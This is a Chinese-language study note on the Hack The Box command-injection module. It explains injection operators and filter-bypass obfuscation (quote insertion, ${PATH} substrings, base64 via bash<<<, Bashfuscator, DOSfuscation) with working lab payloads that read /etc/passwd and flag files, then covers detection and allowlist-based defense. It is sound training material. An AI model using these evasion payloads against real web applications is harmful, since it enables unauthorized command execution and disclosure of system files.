Atom
HTB - Command Injections

HTB - Command Injections

什麼是 Command Injection

當網站把使用者輸入直接放進系統指令中執行,攻擊者可能插入額外指令,進而在後端伺服器執行任意系統命令,嚴重時甚至控制整台主機或進一步入侵內部網路。

Injection 漏洞的核心概念

系統把「使用者輸入」誤認為程式碼、查詢語法或系統指令的一部分。

只要輸入沒有經過適當的驗證、過濾或跳脫,攻擊者就可能跳出原本輸入範圍,改變原始指令的用途。

常見的 Injection 類型

Web 應用程式中存在許多不同類型的注入漏洞,實際類型通常取決於後端所執行的查詢、命令或程式語言。

注入類型 說明
OS Command Injection 使用者輸入被直接放入作業系統命令中執行
Code Injection 使用者輸入被放入可執行或解析程式碼的函式中
SQL Injection 使用者輸入被直接拼接至 SQL 查詢語句
Cross-Site Scripting 未經處理的使用者輸入被顯示在網頁中,使瀏覽器執行惡意腳本
HTML Injection 使用者輸入被當成 HTML 內容呈現在網頁中

Command Injection 成立條件

要產生 OS Command Injection,通常需要同時符合:

  • 應用程式接收使用者可控制的輸入。
  • 輸入直接或間接影響系統命令。
  • 程式使用 Shell 或系統命令執行函式。
  • 輸入未經適當驗證、清理或跳脫。

可以簡化成:

1
2
3
4
5
6
7
使用者輸入

直接拼接進系統命令

後端 Shell 執行

攻擊者插入額外命令

Command Injection 偵測重點

偵測方式與利用方式幾乎相同

基本的 OS Command Injection,偵測方法就是嘗試在原本輸入後面附加另一條命令。

判斷依據:

  • 網頁輸出是否與正常結果不同
  • 是否出現額外命令的執行結果
  • 原本功能是否仍有執行

若輸出被改變,通常代表注入成功。較進階的情況則可能需要 Fuzzing 或程式碼審查。

先推測後端實際執行的命令

舉例有一個 Host Checker,輸入 IP 後會回傳 Ping 結果。

輸入:

1
127.0.0.1

根據輸出可以推測後端可能執行:

1
ping -c 1 OUR_INPUT

基本注入格式

1
正常輸入 + 命令運算子 + 新命令

如果輸入沒有被適當清理,Shell 可能將其解析成兩條命令。

常見 Command Injection 運算

運算子 URL 編碼 執行效果
; %3b 結束前一個命令,再執行下一個
\n %0a 前後兩條命令皆執行
& %26 把前一個命令放到背景執行,或分隔命令
` ` %7c
&& %26%26 第一條成功,才執行第二條
command %60%60 子 Shell,Linux 系統
$(command) %24%28%29 子 Shell,Linux 系統

特殊字元經過 HTTP 傳送時,可能需要 URL Encode,例如:

; → %3b
& → %26
| → %7c (把左邊輸出交給右邊)
\n → %0a (換行)

測試時,若直接輸入特殊字元被瀏覽器、前端或代理工具改寫,可以嘗試 URL 編碼形式。

繞過role黑名單

當我們使用Path時,他會顯示這樣:

1
2
3
echo ${PATH}

/usr/local/bin:/usr/bin:/bin:/usr/games

會有好幾個字元
如果我們只要第一個字元,可以使用:

1
2
3
echo ${PATH:0:1}

/

他就會只顯示/

在命令注入情境中,重點是即使輸入不能直接包含 ;,也能利用環境變數中的既有字元,把分號「切」出來。例如:

1
whoami${LS_COLORS:10:1}id

Shell 展開後就會變成:

1
whoami;id

因此兩個命令都會被執行。

繞過字元黑名單

基本的過黑名單過濾長這樣:

1
2
3
4
5
6
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
if (strpos('$_POST['ip']', $word) !== false) {
echo "Invalid input";
}
}

若我們直接輸入whoami指令的話會回復Invalid input

我們要做混淆繞過的話最簡單的方法是加入引號:

  • 使用單引號
1
2
3
test[/test]$ w'h'o'am'i

test
  • 使用雙引號

    1
    2
    3
    test[/test]$ w"h"o"am"i

    test
  • 僅適用於Linux

    1
    2
    who$@ami
    w\ho\am\i
  • 僅適用於Windows

    1
    2
    3
    C:\test> who^ami

    21y4d

範例:

1
ip=127.0.0.1%0ac'a't${IFS}${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

進階混淆

第一個技巧是大小寫混合,例如使用WhOAmI
這在windows中的poserchell跟CMD都能直接運行

不過在Linux的話就會區分大小寫,所以進行轉換:

1
2
3
test@test[/test]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

test

第二個技巧是反向命令,我們可以使用rev將輸出字串翻轉。

1
2
3
test@test[/test]$ $(rev<<<'imaohw')

test

第三個技巧是使用編碼

我們可以使用各種編碼工具,例如 base64或 十六進位編碼

1
2
3
test@test[/test]$ echo -n 'cat /etc/passwd | grep 33' | base64

Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

然後我們可以再進行解碼:

1
2
3
Royiris@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

|被原本測試網站阻擋了,所以這邊使用<<<代替|

範例:
試著找到find/usr/share/ | grep root | grep mysql | tail -n 1的輸出方法

1
ip=127.0.0.1%0abash<<<$(base64%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)

混淆用工具

Bashfuscator

Linux可用的一個工具Bashfuscator

1. 安裝 Bashfuscator

在 Kali / Ubuntu 上安裝:

1
2
3
git clone https://github.com/Bashfuscator/Bashfuscator.git
cd Bashfuscator
python3 setup.py install --user

新版 Ubuntu 如果碰到:

1
externally-managed-environment

建議用 venv:

1
2
3
4
5
python3 -m venv venv
source venv/bin/activate

pip install -r requirements.txt
python setup.py install

2. 最基本用法

例如原本有:

1
echo "Hello World"

可以這樣混淆:

1
bashfuscator -c 'echo "Hello World"'

它會產生一長串看起來非常亂的 Bash,例如大量:

1
2
3
4
${...}
$'...'
printf
eval

3. 簡單指令練習

例如:

1
2
3
4
5
6
./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 characters

但使用這種方式工具會隨機選擇一種混淆技術,因此我們可以指定更短的混淆。

1
2
3
4
5
6
 ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters

DOSfuscation

Windows可用的一個工具DOSfuscation

DOSfuscation 是 Daniel Bohannon 的 PowerShell 工具,通常在 PowerShell 中載入,再產生 CMD 混淆內容。

1
2
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation

然後載入模組:

1
Import-Module .\Invoke-DOSfuscation.psd1

如果 Windows 阻止腳本執行,可以只針對目前這個 PowerShell process:

1
Set-ExecutionPolicy Bypass -Scope Process

再:

1
Import-Module .\Invoke-DOSfuscation.psd1

接著啟動:

1
Invoke-DOSfuscation

這個工具本身是互動式操作為主。專案的設計就是讓載入 command/script,再逐層選擇 obfuscation technique

最簡單的手工 DOSfuscation

例如:

1
whoami

我們先設:

1
2
set a=who
set b=ami

然後:

1
%a%%b%

CMD 展開成:

1
whoami

所以實際執行:

1
set a=who&set b=ami&%a%%b%

這就是最初階的 CMD obfuscation。


利用 substring

例如:

1
set x=ABCDEFGHIJK

可以:

1
echo %x:~0,1%

1
A

以及:

1
echo %x:~4,1%

1
E

因此攻防裡常看到非常醜的:

1
%var:~4,1%%foo:~7,1%%bar:~2,1%

判別混淆

例如 Sysmon Event ID 1 可能看到:

1
2
Image:
C:\Windows\System32\cmd.exe

但是:

1
2
CommandLine:
cmd.exe /c %A:~1,1%%B:~2,1%%C:~...

這時候你不能搜尋:

1
whoami

因為 command line 裡可能根本不存在 whoami

反而可以找一些特徵,例如:

1
cmd.exe

搭配大量:

1
2
3
4
5
6
:~
%
!
CALL
SET
FOR

以及異常長的 command line。

防禦

最重要:不要把使用者輸入丟進 shell

例如這種 PHP:

1
2
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);

問題不是 ping,而是你其實把:

1
2
3
4
5
使用者輸入

拼進字串

交給 shell 解讀

所以 shell 不只會把輸入當成 IP,還可能把某些特殊字元當成「語法」。

核心原則就是:

能用語言 API 完成,就不要啟動 shell。

這是防 Command Injection 最有效的一層。


Validation 跟 Sanitization 不一樣

Validation 不應該只放前端,後端一定也要做

攻擊者根本不需要用你的網頁,可以直接自己送 HTTP request。

1
2
3
4
5
Frontend validation
= UX / 第一層檢查

Backend validation
= 真正的安全控制

Sanitization 是「只留下允許的東西」

1
$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);

這段 regex:

1
[^A-Za-z0-9.]

意思是:

1
2
3
4
不是 A-Z
不是 a-z
不是 0-9
不是 .

全部找出來。

然後:

1
''

把它刪掉。

因此如果用途真的只需要:

1
2
3
數字
英文字母
.

其他字元就不會保留下來。

這其實是在做:

1
2
3
4
5
6
7
Blacklist:
「這幾個危險字元不准出現」

vs

Allowlist:
「只有這幾種字元准出現」

安全上通常:

Allowlist 比 Blacklist 好。

因為 blacklist 很容易變成:

1
2
3
4
5
6
7
8
擋了 A
→ 還有 B

擋了 B
→ 還有 C

擋了 C
→ 還有編碼、展開、shell syntax……

這正是前面 Command Injection 各種 filter bypass 為什麼存在。


為什麼只 escape 還是不夠?

escaping special characters 並不應被視為足夠安全的主要防禦,因為有些情況仍可能被繞過。

真正安全架構應該是:

1
2
3
4
5
6
7
8
9
不要呼叫 shell

不得不用時

嚴格 validation

固定參數 / allowlist

最低權限執行

總結:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        使用者輸入


┌─────────────┐
│ Validation │
│ 格式合法? │
└──────┬──────┘

YES

┌─────────────┐
│ Sanitization│
│ 僅保留必要值 │
└──────┬──────┘


┌───────────────────────┐
│ 優先使用 Language API │
│ 不經過 shell │
└──────────┬────────────┘

不得不用 shell

嚴格固定參數


Low Privilege


WAF / Server Hardening
本文作者:Atom
本文鏈接:https://d0ngd.github.io/2026/07/24/HTB - Command Injections/
版權聲明:本文採用 CC BY-NC-SA 3.0 CN 協議進行許可